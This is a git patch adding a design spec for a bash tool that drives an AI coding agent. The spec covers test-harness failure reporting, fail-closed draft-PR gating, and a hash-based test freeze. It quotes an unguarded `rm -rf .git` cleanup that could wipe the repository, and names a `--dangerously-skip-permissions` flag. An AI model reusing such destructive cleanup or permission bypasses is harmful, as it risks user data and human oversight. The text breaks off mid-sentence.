From 172d1e39563dc8ff30f59ab3003220ce3d6e34ae Mon Sep 17 00:00:00 2001 From: Alex Barclay Date: Thu, 23 Jul 2026 09:15:48 -0600 Subject: [PATCH 01/47] docs: Add design spec for completing the reqdrive roadmap Covers the L2->L3 readiness gap and all remaining Tier 2 items, with Tier 3 deferred and reasons recorded. Three key findings from measuring the current state: - tests/simple-test.sh sets `set -e` and every assertion is a bare subshell, so test_result's FAIL branch is unreachable. "0 failed" is guaranteed by construction and red-first TDD is impossible today. Fixing this is P0, and the obvious fix is wrong: bash suppresses errexit inside a subshell used as an `if` condition, even when the body sets `set -e` itself. - The draft-PR gate fail-opens three ways, not one: null verification, missing prd.json, and stories with `passes` omitted. The gate is inverted to fail-closed. - The prompt builder's unquoted heredoc leaves stray backslashes in the commit message the agent is instructed to use. Passed three rounds of adversarial critique (38 findings); the log is in the document. --- ...7-23-reqdrive-roadmap-completion-design.md | 453 ++++++++++++++++++ 1 file changed, 453 insertions(+) create mode 100644 docs/superpowers/specs/2026-07-23-reqdrive-roadmap-completion-design.md diff --git a/docs/superpowers/specs/2026-07-23-reqdrive-roadmap-completion-design.md b/docs/superpowers/specs/2026-07-23-reqdrive-roadmap-completion-design.md new file mode 100644 index 0000000..6d61428 --- /dev/null +++ b/docs/superpowers/specs/2026-07-23-reqdrive-roadmap-completion-design.md @@ -0,0 +1,453 @@ +# Design — Completing the reqdrive Roadmap + +**Date:** 2026-07-23 +**Status:** Passed three rounds of adversarial critique +**Scope:** reqdrive L2→L3 readiness gap + all remaining CLAUDE.md Tier 2 items. Tier 3 explicitly deferred. + +--- + +## 1. Measured starting state + +All values measured 2026-07-23 and re-verified after each critique round. + +| Fact | Value | Source | +|---|---|---| +| Suite result on this machine | 157 passed, 0 failed, 0 skipped, exit 0 | `bash tests/simple-test.sh` | +| `test_result` / `test_skip` call sites | 157 / 2 | `grep -c` | +| **Unique test names** | **157** | the 2 `test_skip` calls reuse 2 `test_result` names | +| Existing spec stories | 60 | `grep -c '^### US-' tests/BEHAVIOR-SPEC.md` | +| `claude` on PATH here | yes | `command -v claude` | +| CI | shellcheck + `bash -n` + simple suite + bats suite | `.github/workflows/ci.yml` | + +**Environment dependence.** The two `HAS_CLAUDE`-gated assertions (`tests/simple-test.sh:1260`, `:1787`) run as `test_result` here and as `test_skip` — under the *same name* — in CI. Result-line count is **157 in both environments**; only the verdicts differ. + +### 1.1 Blocking finding: the harness cannot report a failure + +`tests/simple-test.sh:11` sets `set -e`, and all 157 assertions are `( ... )` followed by `test_result "name" $?`. Under `errexit` a failing subshell terminates the script **before `test_result` runs**: + +``` +$ bash -c 'set -e; ( echo one; false; echo two ); echo rc=$?' +one # aborts; no rc line +``` + +So `test_result`'s FAIL branch (`:43`) is unreachable, `$FAIL` is always 0, the final `[ "$FAIL" -eq 0 ]` is vacuous, "0 failed" is guaranteed by construction, and **red-first TDD is impossible today**. + +### 1.2 The obvious fix is also wrong + +Bash ignores `errexit` inside a compound command used as an `if` condition, and **the suppression propagates into the subshell body — even if the body sets `set -e` explicitly.** Measured: + +| Form | `errexit` active inside? | +|---|---| +| `if ( ... ); then rc=0; else rc=$?; fi` | **no** — prints past the failure, rc=0 | +| `if ( set -e; ... ); then ...` | **no** — explicit body `set -e` does not restore it | +| `( ... ) && rc=0 \|\| rc=$?` | **no** | +| `set +e` at top; subshell body **without** `set -e` | **no** | +| **`set +e` at top; `set -e` as the first statement of the body; invoked as a simple command** | **yes** — stops at the failure, rc=1 | + +Only the last form works. The natural fix produces a suite reporting **157 passed / 0 failed against a `lib/` function that returns 1 and writes nothing**, because many assertions end in a pure negative that a broken setup satisfies trivially. Round 3 applied both forms and confirmed: correct form → 3 FAILs; broken form → 157/0. + +### 1.3 Behavior-spec coverage is worse than the survey implied + +60 stories cover 4 modules — but those modules contain **96 test names**, so ~36 assertions *inside the specced modules* have no 1:1 story. + +| Module group | Test names | Stories today | +|---|---|---| +| errors / schema / sanitize / config | 96 | 60 | +| `run.sh`-adjacent | 30 | 0 | +| CLI (`bin/reqdrive`) | 13 | 0 | +| preflight / pr-create / init / review | 18 | 0 | +| **Total** | **157** | **60** | + +P1's real output is **~97 new stories plus reconciliation of the existing 60**. It is the largest item in the plan and sits on the critical path. + +### 1.4 Findings the existing docs do not record + +1. **The L2 claim is real but incomplete.** `lib/run.sh:1106-1117` re-runs `testCommand` and derives `verification_passed` from the exit code — a genuine C3 check. `reqdrive-audit.md`'s "never verifies outputs" is **false**. + +2. **The draft gate fail-opens three ways.** `lib/run.sh:1168-1173`: + - **(A) `verification_passed: null`** — no `testCommand` (`:1116`); the gate tests only for the literal `"false"`. + - **(B) missing `prd.json`** — `final_remaining` initializes to the sentinel `"?"` (`:1077`), overwritten only inside `if [ -f "$prd_file" ]` (`:1082-1092`). A run whose planning failed produces a **non-draft PR with no PRD**. + - **(C) `passes` omitted** — `lib/schema.sh:138` guards with `has("passes")`, so the field is optional, and `select(.passes == false)` does not match `null`. Verified: 3 stories, 1 passing, 2 with no `passes` field → `remaining: 0` → **no draft**, while `lib/pr-create.sh:138-139` prints "1/3 completed." + +3. **Prompt output is corrupted by unnecessary escaping.** `sanitize_for_prompt` (`lib/sanitize.sh:43`) rewrites `$` → `\$`; bash does not re-scan an expanded value for escapes, so the backslash reaches the prompt — including the commit message the agent is told to use (`lib/run.sh:320`). + +4. **`ROADMAP.md` is stale** — the v0.2.0 simplification plan. + +5. **`reqdrive validate` exits 1, not 3** (`lib/validate.sh:16,70`), and `reqdrive_load_config` never calls `validate_config_schema`. + +6. **The suite can destroy the repo if `mktemp` fails.** `tests/simple-test.sh:56` is `TEST_TEMP=$(mktemp -d)` with no guard; `:743` runs `rm -rf .git` after `cd "$TEST_TEMP"`. Verified: **`cd ""` returns 0 and leaves you in the invocation directory** — the repo root. Today `set -e` at `:11` masks this by aborting on a failed `mktemp`; P0 removes that accidental protection, so P0 must add a real one. + +7. **The bats e2e tests cannot fail.** `tests/e2e/pipeline.bats` has **6** `|| skip` escape hatches (`:146, :223, :253, :301, :302, :338`), including all three tests that assert on the prompt builders. Round 3 gutted `build_implementation_prompt` to write an empty file and return 0: bats reported `ok ... # skip` and **exited 0**. Any suite named as a safety net must be able to report failure. + +--- + +## 2. Decisions (do not re-litigate) + +| # | Decision | Rationale | +|---|---|---| +| D1 | Ladder first, then Tier 2 features. | TDD lock-in needs a baseline that exists. | +| D2 | **Draft gate becomes fail-closed**: draft by default, cleared only on positive evidence. | Closing only fail-open (A) leaves (B) and (C) open. Enumerating negatives is a losing game. | +| D3 | All of Tier 2; Tier 3 deferred with recorded reasons. | Separate products. DOCTRINE J5. | +| D4 | Approach A + scoped extraction. | No gratuitous `run.sh` refactoring; no duplicated verification logic (J3). | +| D5 | Policy lives as a `policy` key in `reqdrive.json`. | One file, one loader, one validator. | +| D6 | Scope check ships warn-only, `"scopeCheck": "warn"\|"block"`. | Resolves roadmap-vs-principle contradiction. | +| D7 | Freeze covers `tests/simple-test.sh`; bats must stay green **with zero skips in `tests/e2e/`**. | *(Revised, round 3.)* "Green" is meaningless for a suite with 6 `\|\| skip` hatches (§1.4.7). | +| D8 | Lock generated in the CI environment configuration. | The baseline must be reproducible where it is enforced. | +| D9 | The `\$` corruption is fixed in a separate enumerated step, not frozen. | Byte-identity across all of P6 would enshrine a live defect. | +| D10 | **The freeze is a whole-file hash of `tests/simple-test.sh` plus `tests/oracle-gate.sh`**, not a per-test body hash, and not base-ref execution. | *(Revised, round 3.)* A per-body hash misses `test_result` itself — round 3 emptied every `lib/*.sh`, patched `test_result` to always PASS, and every name-and-body rule stayed green. One file hash subsumes rename, body edit, reporter tampering and gate tampering, needs no git remote, and behaves identically locally and in CI. | +| D11 | **P0 is validated by mutation, including a *silent* mutant.** | Inversion cannot distinguish the correct fix from the broken one; a `return 1` mutant is caught at the call site by errexit and does not exercise the assertions. | +| D12 | **`EXIT_CONCURRENT_RUN=10`** is added rather than reusing `EXIT_GIT_ERROR`. | "Another reqdrive is running" is not a git failure, and a caller scripting on exit codes must distinguish it from a genuine branch mismatch. | + +--- + +## 3. Architecture + +| Artifact | Purpose | +|---|---| +| `tests/simple-test.sh` (harness fixed) | Failures reportable rather than fatal — P0. | +| `tests/lib/pipeline-harness.sh` (new) | Fake `claude`, fake `gh`, scratch git repo — P3. | +| `tests/BEHAVIOR-SPEC.md` (extended) | Stories for all 157 test names. | +| `tests/oracle.lock.json` | Frozen baseline: names, story IDs, file hashes. | +| `tests/oracle-gate.sh` | Enforces DOCTRINE B2/B3. | +| `lib/verification.sh` (extracted) | Verification phase, shared by `run` and `verify`. Named `verification.sh`, not `verify.sh`, to avoid confusion with `archive/v1-complex/lib/verify.sh`. | + +### 3.1 The freeze mechanism + +**Runtime data comes from an actual run; integrity comes from file hashes.** Names and verdicts are parsed from a real suite run — source and runtime text differ for **4** of 157 names (e.g. `tests/simple-test.sh:1167` reads `... neutralizes \$(cmd) ...` and renders as `... neutralizes $(cmd) ...`), so scraping source for names is wrong. + +**Output parsing**, specified exactly — `test_result` emits `echo -e "${GREEN}PASS${NC}: $name"` (`:40`) unconditionally with no TTY check, and 157 of 157 names contain `": "`: + +1. Strip ANSI: `sed 's/\x1b\[[0-9;]*m//g'` +2. Match `^(PASS|FAIL|SKIP): ` +3. Split on the **first** `": "` only — never `cut -d:` +4. For SKIP, strip the trailing ` (reason)` +5. Tolerate interleaved non-result lines (`[SCHEMA] Warning: ...` appears between results) + +**Lock schema:** + +```json +{ + "version": "0.3.0", + "generated": "2026-07-23", + "environment": { "claude": false }, + "suiteSha256": "…", + "gateSha256": "…", + "tests": [ + { "name": "find_manifest: finds manifest in current dir", "story": "US-CFG-01" } + ] +} +``` + +The expected result count **is** `len(tests)`; there is no separate field that can drift as later phases add tests. + +**Gate rules, in strict precedence order:** + +| Rule | Condition | Verdict | +|---|---|---| +| R7 | `suiteSha256` or `gateSha256` mismatch | `NEEDS_HUMAN` — the test file or the gate itself changed | +| R2 | A locked name reported `FAIL` | Baseline weakened | +| R3 | A locked name reported `SKIP` | Silent weakening — exempted where `conditional` is unmet | +| R6 | A result name is **absent from the lock** | `NEEDS_HUMAN` — a new test must be registered, so P4–P7's own tests are protected too | +| R1 | A locked name absent from output | Renamed or deleted (diagnostic: names *which* test vanished) | +| R0 | Result count < `len(tests)` **and no FAIL parsed** | `SUITE_TRUNCATED` | + +Precedence matters: the suite's last command is `[ "$FAIL" -eq 0 ]`, so post-P0 any FAIL exits non-zero. Without precedence an exit-code-based R0 would re-label every R2 as truncation — re-conflating the two signals P0 exists to separate. + +**Why one file hash rather than per-test hashes, append-only lock diffs, and base-ref execution** (D10): those three controls together still lose to a six-line edit of `test_result`, which sits outside every subshell and therefore outside every body hash. Round 3 demonstrated it: every `lib/*.sh` emptied, `test_result` patched to report PASS unconditionally, all 157 bodies byte-identical → gate fully green. `suiteSha256` covers the reporter, the bodies, the names and the trailer in one rule, requires no `fetch-depth: 0`, no base-ref checkout, no first-PR bootstrap exception, and behaves identically on a laptop with no remote. R1 is retained only as a diagnostic. + +**Regeneration is an explicit human act.** `tests/oracle-gate.sh --accept` regenerates hashes and the name list. Any intentional test change is one command plus a reviewable diff; no test change can happen silently. + +**`conditional` is a closed enum with one member: `claude`.** An unrecognized value is a hard error, never an exemption — otherwise `"conditional": "flaky"` is a one-word kill switch. The `posix-process` member is **not** created: on MSYS2, the primary platform, it would permanently exempt the `launch` lifecycle tests, and an always-exempt test is a deleted test with ceremony (see P5). + +**Locked tests can go red from unrelated source changes.** P5's doc-coverage tests parse the live dispatch block, so adding `verify)` in P6b turns an already-locked test red. That is a legitimate red-first signal, not a malfunction — stated so nobody "fixes" it by weakening the coverage test. + +### 3.2 Verification extraction contract + +Real dependencies of the Phase 3 block (`lib/run.sh:1067-1157`): + +| Needed | Where it lives today | +|---|---| +| `RUN_SUMMARY_ITERATIONS`, `_TESTS_*`, `_COMMITS_*` | globals accumulated in the implementation loop (`:1013-1037`), initialized `:893-902` | +| `max_iterations` | `run_pipeline` local (`:888`) — **interpolated into the summary JSON at `:1136`** | +| `final_remaining` | declared `:1077`, computed `:1085`, **consumed after the block** by the draft gate at `:1168` | +| working tree / branch | implicit — `eval "$REQDRIVE_TEST_COMMAND"` runs against whatever is checked out | + +Contract: + +- `verify_collect ` — sets `VERIFY_STORIES_TOTAL/COMPLETED/FAILED/REMAINING` and `VERIFY_PRD_PRESENT` (`0|1`). The `"?"` sentinel is retired **from the shell variables**; absence of the PRD is carried by `VERIFY_PRD_PRESENT`. +- `verify_run_tests ` — returns **`0` pass / `1` fail / `2` not configured**. +- `verify_write_summary ` — `max_iterations` is an explicit parameter; it is a `run_pipeline` local, not a `RUN_SUMMARY_*`, and omitting it emits `"max": ` → malformed JSON that `lib/pr-create.sh:147` swallows into `"?"`. `mode` is `full` or `merge`. +- `cmd_verify` derives `prd_file` from the run directory; that derivation is part of the contract. + +**The JSON artifact keeps its shape.** `lib/run.sh:1132` already emits `"remaining": null` for the missing-PRD case. That stays — retiring a union type in an internal variable is right, silently changing a documented artifact is not. A new `"prd_present": true|false` field is added, and P6b's characterization criterion reads "identical modulo `timestamp` and the new `prd_present` field." + +**`cmd_verify` merges; it never blind-overwrites.** A standalone verify has no implementation loop, so `RUN_SUMMARY_*` are zero; a fresh write would zero `iterations`/`tests`/`commits` — the evidence trail `lib/pr-create.sh:138-148` renders into the PR table. + +**Defined edge cases:** +- *No existing summary* (the summary is written only at `:1123`, so runs that die earlier have none): exit 3, naming the missing file. No synthesized summary — a zeroed one is indistinguishable from a real run that did nothing. +- *Concurrent writer*: `cmd_verify` reads the PID in `run.json` and refuses while alive, with **`EXIT_CONCURRENT_RUN=10`** (D12). CLAUDE.md already records "no file locking on run directories." +- *Non-atomic write*: summary writes go through temp-file + `mv`, replacing the bare `cat >` heredoc at `:1123`. +- *Wrong tree*: refuses unless the checkout matches `checkpoint.json`'s branch or `--ref ` is given; `EXIT_GIT_ERROR` (4). + +--- + +## 4. Phases, exit criteria, and honest effort + +Each phase ends with `oracle-gate.sh` green **and** `bats tests/unit tests/e2e` green with zero skips in `tests/e2e/` (D7). A phase needing a locked test changed stops and asks — the B3 `NEEDS_HUMAN` path. + +### P0 · Make the harness able to report failure — ~3h + +**Exit criteria** +- `tests/simple-test.sh:11` becomes `set +e`; `set -e` is inserted as the first statement of each of the 157 subshell bodies (§1.2). The `test_result "name" $?` lines are untouched. `:346-354` already sets `set +e` inside its body, so the inserted line is a no-op there and the edit stays uniform. +- **`mktemp` is guarded** (§1.4.6) — `set +e` removes the accidental protection `set -e` was providing: + ```bash + TEST_TEMP=$(mktemp -d) || { echo "FATAL: mktemp failed" >&2; exit 1; } + [ -n "$TEST_TEMP" ] && [ -d "$TEST_TEMP" ] || { echo "FATAL: bad TEST_TEMP" >&2; exit 1; } + ``` + and `tests/simple-test.sh:743` becomes `rm -rf "$TEST_TEMP/.git"` rather than a bare `rm -rf .git` after a `cd` that can silently no-op. +- Unmodified tree: 157 passed / 0 failed / exit 0. +- **Mutation criteria (D11)**, all three required: + 1. `return 1` at the top of `build_implementation_prompt` (`lib/run.sh:279`) → exactly 3 FAILs, suite completes, exit 1. *(Under the broken `if ( ... )` form this yields 157/0 — which is what the criterion exists to catch.)* + 2. `return 1` at the top of `load_checkpoint` (`:121`) → ≥3 FAILs. + 3. **Silent mutant:** `: > "$1"; return 0` in `build_implementation_prompt` — total functional loss with a success status → **≥2 FAILs**. Measured today: only 1. Meeting this criterion requires strengthening at least one pure-negative assertion *before* the freeze, which is the point. + 4. Stubbing `mktemp` to fail → suite exits non-zero before any test runs. +- The two error-code test names (`errors: defines all exit codes (0-8)`, `errors: EXIT_MESSAGES covers all codes`) are renamed now, while the rename surface is declared zero, because P6b/D12 add codes 9 and 10 and the old names would become lies that only a `NEEDS_HUMAN` could later correct. +- Beyond that rename, no test name changes. + +### P1 · Spec retrofit — ~1–2 days, critical path + +**Exit criteria** +- A story for every one of the 157 unique names; IDs `US--NN`. Expect **~97 new stories plus reconciliation of the existing 60** (§1.3). +- Generated mapping file shows name → story with zero unmapped names. +- Zero files under `bin/` or `lib/` modified. +- Findings register created, with a stated counting rule and an exact count of **pure-negative assertions** (assertions whose final statement is a negation or an emptiness check — 21 by round 3's count, which the register must reproduce or correct). Seeded entries: `tests/simple-test.sh:1186` and `:1206` are satisfied by an empty prompt file; `:1206` interpolates `$HOME` into an unanchored grep pattern; `build_implementation_prompt` writes blank fields when `jq` fails on malformed story JSON (`lib/run.sh:285-288`, no guard). + +### P2 · Freeze gate — ~4h + +**Exit criteria** +- `tests/oracle.lock.json` generated from a real run with `claude` unavailable: 157 names, each with a `story`, plus `suiteSha256` and `gateSha256`. +- `bash tests/oracle-gate.sh` exits 0 on an unmodified tree, both with and without `claude` on PATH. +- Demonstrated individually: making one test fail → **R2, not mass-R1**; truncating the run → R0; **patching `test_result` to report PASS unconditionally → R7**; editing any test body → R7; adding an unregistered test → R6. +- `--accept` regenerates hashes and names, and is the only way to change them. +- `conditional` accepts only `claude`; any other value hard-fails. +- `oracle-gate` job added to `.github/workflows/ci.yml`, and `tests/oracle-gate.sh` added to the explicit shellcheck file list at `.github/workflows/ci.yml:29`. + +### P3 · Pipeline test harness — ~1–2 days + +Nothing invokes `run_pipeline` today (`grep -n 'run_pipeline' tests/simple-test.sh` → nothing). P4 and P6b both need one. + +**Exit criteria** +- `tests/lib/pipeline-harness.sh` provides a scratch git repo with base branch and requirement file; a fake `claude` emitting a schema-valid `prd.json`, per-iteration `json:iteration-summary` blocks, and the completion signal; a fake `gh` recording invocation arguments. +- **The harness sets `set -euo pipefail` before sourcing `lib/run.sh`.** `lib/run.sh:6` sets only bare `set -e`, but `run_claude_iteration` detects agent failure via `if timeout 1800 claude ... | tee ...` — a pipeline whose status is `tee`'s unless `pipefail` is on. Without this the harness validates a path that can never fail. +- Handles that `run_pipeline` terminates with `exit` (`lib/run.sh:1186`, `:1189`) rather than returning. +- **The 6 `|| skip` hatches in `tests/e2e/pipeline.bats` (`:146, :223, :253, :301, :302, :338`) are converted to hard assertions.** They exist because the real `claude` is unavailable; the deterministic fake removes the reason. Until this lands, "bats green" means nothing (§1.4.7). +- `timeout` (coreutils) added to README prerequisites — a hard runtime dependency of `run_claude_iteration`, currently undocumented. +- One end-to-end assertion: a scripted run reaches PR creation and the fake `gh` records a `pr create` invocation. +- Deterministic: no wall-clock dependence. + +### P4 · Close all three draft-gate fail-opens (red-first) — ~4h given P3 + +**Exit criteria** +- The gate at `lib/run.sh:1168-1173` is **inverted to fail-closed**: `--draft` is the default, cleared only when `VERIFY_STORIES_REMAINING` is 0 **and** `VERIFY_PRD_PRESENT` is 1 **and** `verify_run_tests` returned 0. +- Red-first assertion per fail-open, each observed failing first: (A) no `testCommand` → draft; (B) no `prd.json` → draft; (C) a story with `passes` omitted → draft. +- Positive control: `testCommand` passing, PRD present, all stories `passes: true` → **no** `--draft`. +- `select(.passes == false)` becomes `select(.passes != true)`, or `passes` becomes required in `validate_prd_schema` — whichever is chosen is asserted. +- **The consequence is stated and surfaced.** `testCommand` defaults to `""`, so on a default-configured project *every* PR is now a draft. That is the intended policy, but it must not be a mystery: a preflight warning at run start reads *"no `testCommand` configured — all PRs will be created as drafts"*, and the tri-state is used rather than wasted — `verify_run_tests` returning 2 produces a **distinct reason line in the PR body** ("no test command configured") separate from 1 ("tests failed"). +- `verification-summary.json` still records `verification_passed: null` when no test command ran. +- The 5 existing *Run Summary & Verification* assertions stay green. + +### P5 · L3 documentation, enforced by coverage tests — ~1–2 days + +**Exit criteria** +- Three `doc-coverage` rules in `simple-test.sh`, each written first and observed failing: + 1. **Commands** — parsed from `bin/reqdrive:538-582` (`case`…`esac`), leading whitespace trimmed, keeping labels matching `^[a-z][a-z-]*)$` (excludes `-v|--version)`, `-h|--help|"")`, `*)`). 9 labels exist; `README.md:45-55` documents 7. **Fails on `plan` and `orchestrate`.** + 2. **Config fields** — each `REQDRIVE_*` set by `lib/config.sh` must have its JSON field in README, minus `DOC_EXEMPT` = {`REQDRIVE_MANIFEST`, `REQDRIVE_PROJECT_ROOT`} (derived paths, not config fields), each with a justifying comment. 12 exported, 8 documented. **Fails on `maxStoryRetries` and `reviewCommand`.** + 3. **Flags** — parsed from **case labels** in the option blocks (`bin/reqdrive:95-126`, `:400-422`) matching `^\s*(-[a-z]\|)?--[a-z-]+\)`, split on `|`. Parsing free `--[a-z-]+` literals instead would false-positive on `--help` inside the error string at `:114`. README's Run Options table (`:59-64`) documents `--interactive`, `--unsafe`, `--force`, `--resume`. **Fails on `--dangerously-skip-permissions`**, which is a real accepted flag (`:100`, `:401`) — resolved either by documenting it as a `--unsafe` alias or by a `DOC_EXEMPT` entry with a justifying comment. +- README updated until all three pass. +- `reqdrive-audit.md` → `docs/audits/2026-02-16-pipeline-audit.md` with a dated preamble retracting the "never verifies outputs" claim, citing `lib/run.sh:1106-1117`. +- `docs/LAUNCH-TEST-PLAN.md` cases 2, 5, 7, 8 automated against the P3 harness via `run.json` state transitions. Cases **1, 4, 6** (detached launch, duplicate-launch block, crash detection) depend on real background processes and PID liveness, unreliable under MSYS2: they run in a **Linux-only CI job**, not via a `conditional` exemption, because an always-exempt test on the primary platform is a deleted test with ceremony. §8 records that `launch` lifecycle coverage is CI-only. +- Case 3 (`logs`) asserts process behavior, not interactivity. +- New tests registered in the lock via `--accept` (required by R6). + +### P6 · Tier 2 mechanical — ~2 days + +**P6a — heredoc structural fix, three explicit steps** + +*Step 1 — characterize.* Golden file capturing current `build_implementation_prompt` output for fixed fixtures, committed and passing **before** any change. Fixtures include values containing `&`, `\`, `` ` ``, `$`, and the literal `@@STORY_ID@@`. **The golden file is the sole named oracle for this phase** — the bats e2e tests are a secondary check and only after P3 removes their skip hatches. + +*Step 2 — mechanical rewrite, byte-identical.* +- `<<'PROMPT_IMPL'` replaces `</dev/null || true`** — the `|| true` is mandatory. `patsub_replacement` does not exist before bash 5.2, `shopt -u` on an unknown option returns 1, `2>/dev/null` hides the message but not the status, and `lib/run.sh:6` sets `set -e`. Verified: without `|| true` the pipeline aborts on exactly the bash 4.x/5.0/5.1 versions the control exists to protect. An assertion exercises the unknown-option path. +- Injected values have `@@`-delimited tokens stripped; assertion: a title containing `@@STORY_ID@@` produces no substitution. +- Golden file matches **byte-identical**. + +*Step 3 — correct the escaping defect (D9), enumerated.* Un-escape `\$` at injection time, since a file never re-evaluated by a shell needs no shell escaping. `lib/sanitize.sh` is **not** modified — its backtick neutralization is load-bearing for `tests/simple-test.sh:1186` and it has other callers. The golden file is updated in its own commit with one enumerated line per changed byte-range, plus a positive assertion that a `$`-containing title appears verbatim. + +**P6b — verification extraction + `reqdrive verify `** + +**Exit criteria** +- `lib/verification.sh` implements §3.2; `run_pipeline` calls it; the draft gate consumes `VERIFY_STORIES_REMAINING` + `VERIFY_PRD_PRESENT`. +- Characterization test: `verification-summary.json` from a P3-harness run identical before and after extraction, modulo `timestamp` **and the new `prd_present` field**. +- Assertion that the summary is **valid JSON when produced by `cmd_verify`** — the `max_iterations` parameter regression guard. +- `EXIT_VERIFICATION_FAILED=9` and `EXIT_CONCURRENT_RUN=10` added to `lib/errors.sh` with `EXIT_MESSAGES` entries. +- `reqdrive verify REQ-ID` runs in merge mode; exits 0 pass / 9 fail. +- Assertion: running `verify` after a completed run leaves `iterations.run` and the `tests`/`commits` counts unchanged (data-loss guard). +- Exits 3 when no summary exists; 4 on branch mismatch without `--ref`; 10 while `run.json`'s PID is alive. +- Summary writes are temp-file + `mv`. +- `verify` and `--ref` appear in README — enforced by P5 rules 1 and 3. + +### P7 · Tier 2 policy cluster — ~2 days + +**Exit criteria** +- `reqdrive.json` accepts `policy`; `lib/schema.sh` validates it: + ```json + { "policy": { + "riskTiers": { "high": ["src/auth"], "medium": ["src/api"], "low": ["docs"] }, + "scopeCheck": "warn" } } + ``` +- **Matcher semantics specified**, because `**` is not meaningful here: in `[[ ]]` pattern matching `globstar` does not apply, so `src/api/**` and `src/api/*` both match `src/api/a/b.ts`, and `src/auth/**` does **not** match `src/auth` itself. Patterns use **prefix-directory** semantics — a path matches when `path == pattern` or `path == pattern/*` — and the config example uses bare prefixes, not `**`, so it stops implying recursion bash will not deliver. +- Matcher tested for: exact file match, nested descendant, the tier directory itself (`src/auth`), a sibling that shares the prefix (`src/auth.sh` must **not** match `src/auth`), no match, and a path matching two tiers (highest wins). +- `scopeCheck` accepts only `"warn"` or `"block"`. +- **Validation exit codes aligned first**, as its own red-first sub-item: `lib/validate.sh:16,70` change from bare `exit 1` to `EXIT_CONFIG_ERROR` (3), with an assertion pinning the code. The existing assertion at `:346-356` checks only `-ne 0` — recorded as a weak-assertion finding in P1. +- **`reqdrive_load_config` is not changed to schema-validate.** Doing so would newly reject configs that work today and put `US-CFG-04/05` and every minimal fixture at risk. Recorded as deferred with that reason. +- Absent `policy`: pipeline behavior byte-identical to P6 — proven by the baseline staying green. +- After each iteration, `git diff --name-only` paths are classified and recorded in the checkpoint and PR body. +- `"warn"` (default): a high-risk path touched without a passing `testCommand` run logs a warning; exit code unchanged. +- `"block"`: the same condition aborts the iteration with `EXIT_PREFLIGHT_FAILED` (8). + +### P8 · Close out — ~4h + +- `ROADMAP.md` gets a "Superseded — see CLAUDE.md" header; content preserved as history. +- CLAUDE.md Tier 2 checked; each Tier 3 item annotated with a deferral reason in the Decision Log. +- `docs/STATUS.md` created (it does not exist today) per the global convention. +- WORKFLOW.md §9/§10 reqdrive row corrected (§8 below). +- **P1's findings register is triaged**: each weak assertion is either strengthened, or recorded with an explicit accepted-risk note and a count. L1 PASS means "the oracle can report failure," not "every assertion is adequate" — §8 states this. +- Full suite green, gate green, bats green with zero e2e skips, CI green. + +**Total: ≈9–12 working days.** P1, P3, P5 and P7 are the multi-day items. + +--- + +## 5. Testing discipline + +| Change type | Discipline | Artifact | +|---|---|---| +| New behavior (P4, P6b command, P7) | Red-first: write it, **observe it fail** (possible only after P0), then implement | Test + story + lock entry via `--accept` (R6 requires it) | +| Refactor (P6a step 2, P6b extraction) | Characterization: lock current output, require it unchanged | Golden file + baselines green | +| Deliberate correction (P6a step 3) | Characterize, then change in a separate enumerated commit | Updated golden + positive assertion | +| Harness change (P0) | **Mutation**, including a silent mutant | ≥3 FAILs from `return 1`; ≥2 from a silent no-op | +| Documentation (P5) | Coverage test red before any doc is written | 3 doc-coverage rules | + +Red-green is the wrong tool for a refactor; assertion-inversion is the wrong tool for a harness change; and a `return 1` mutant is the wrong tool for proving assertion quality. Naming which oracle proves what is part of the discipline. + +--- + +## 6. Error handling + +| Condition | Exit code | Behavior | +|---|---|---| +| Final verification failed | `9` `EXIT_VERIFICATION_FAILED` (new) | `verify` exits 9; within `run`, forces draft | +| `verify` while the run's PID is alive | `10` `EXIT_CONCURRENT_RUN` (new) | Refuses; no concurrent writer | +| `verify` branch mismatch, no `--ref` | `4` `EXIT_GIT_ERROR` | Refuses rather than verifying the wrong tree | +| `verify` on unknown REQ-ID or missing summary | `3` `EXIT_CONFIG_ERROR` | Names the missing path | +| Scope violation, `scopeCheck: "block"` | `8` `EXIT_PREFLIGHT_FAILED` | Iteration aborts; checkpoint records it | +| Scope violation, `scopeCheck: "warn"` | `0` | Warning to checkpoint and PR body; never fatal | +| Malformed `policy` via `reqdrive validate` | `3` `EXIT_CONFIG_ERROR` | Requires the P7 exit-code alignment | + +Config **load** performs no schema validation today, and this design does not change that (P7). + +--- + +## 7. Out of scope + +**Tier 3, deferred** (reasons recorded at P8): vision-based QA (Playwright + binary data — a separate Node/Python product); worktree orchestration (own design cycle); PR-rejection feedback (no failure data yet); CI polling (new failure mode, own spec); cost tracking (the `claude` CLI does not surface per-invocation tokens to the shell); adaptive retries (needs data that does not exist). + +**Also out of scope:** decomposition of `lib/run.sh` beyond §3.2; modification of `lib/sanitize.sh`; wiring `validate_config_schema` into `reqdrive_load_config`; making the review agent a genuine writer≠grader (§8). + +--- + +## 8. Ladder position + +| Rung | Before | After | Evidence | +|---|---|---|---| +| L0 Specified | PARTIAL — 60 stories for 96 names in 4 of 10 modules | **PASS** | Story for all 157 names | +| L1 Correct | **FAIL** — the suite structurally cannot report a failure (§1.1) | **PASS** | Failures reportable (P0, mutation-proven incl. a silent mutant) + `suiteSha256`/`gateSha256` frozen (D10) | +| L2 Trustworthy | **FAIL** — three independent draft-gate fail-opens (§1.4.2) | **PASS** | Fail-closed draft gate, all three closed with a red-first test each | +| L3 Agent-operable | FAIL — undocumented commands, config fields, and flags | **PASS** | Three doc-coverage rules enforce documentation on every future change | +| L4 Shippable | Not targeted | Not targeted | reqdrive is a harness, not a shipped product | + +**L1 PASS means the oracle can report failure — not that every assertion is strong.** ~21 of 157 assertions end in a pure negative and cannot detect setup failure. P0's silent-mutant criterion forces at least one to be strengthened before the freeze; P8 triages the rest with an explicit accepted-risk count. Claiming otherwise would repeat the mistake this design exists to fix. + +**`launch` lifecycle coverage is CI-only** (P5): cases 1, 4 and 6 run in a Linux job because PID liveness and signal trapping are unreliable under MSYS2. + +**Correction to WORKFLOW.md §9/§10.** That survey records reqdrive as **L2, gap docs-only**, based on the real `testCommand` re-run at `lib/run.sh:1106-1117`. That check is genuine, but two rungs beneath it are red: L1's oracle cannot report a failure (§1.1), and L2's draft gate fail-opens three ways (§1.4.2) — of which the survey found one. reqdrive's true starting rung is **L0**, and the gap is not docs-only. Both the §10 row and the §9 worked example should be corrected at P8. + +**The `writer≠grader` claim is withdrawn from the L2 evidence column.** `run_review_phase` is invoked with the same `$model` as the implementer (`lib/run.sh:1178`), returns immediately when `reviewCommand` is empty — the default — and runs *after* `create_pr` (`:1176`), so its findings cannot influence the draft decision. Same model, off by default, post-hoc. Making it real needs a distinct 